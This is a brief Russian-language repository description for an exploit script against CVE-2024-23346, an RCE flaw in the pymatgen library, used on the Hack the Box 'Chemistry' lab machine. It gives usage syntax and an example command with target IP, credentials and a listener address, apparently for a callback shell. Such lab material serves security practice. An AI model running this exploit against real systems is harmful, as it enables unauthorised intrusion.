davidaroca27/cve-2024-23346-exploitЭто эксплойт для известной уязвимости удаленного выполнения кода (RCE) в библиотеке Python `pymatgen` (CVE-2024-23346) путем загрузки вредоносного файла `CIF` на размещенный сайт `CIF Analyzer` на целевой машине Chemistry из Hack the Box.
Это эксплойт для известной уязвимости удаленного выполнения кода (RCE) в библиотеке Python pymatgen (CVE-2024-23346) путем загрузки вредоносного файла CIF на веб-сайт CIF Analyzer, размещенный на машине Chemistry с платформы Hack the Box.
Ссылка NVD CVE : https://nvd.nist.gov/vuln/detail/CVE-2024-23346
Использование: CVE-2024-23346-exploit.py -t targetIP -P targetPORT -u loggedusername -p loggedpassword -l tun0ip/lhost
Пример:
python3 CVE-2024-23346-exploit.py -t 10.10.11.38 -P 5000 -u ramon -p ramon -l 10.10.15.000
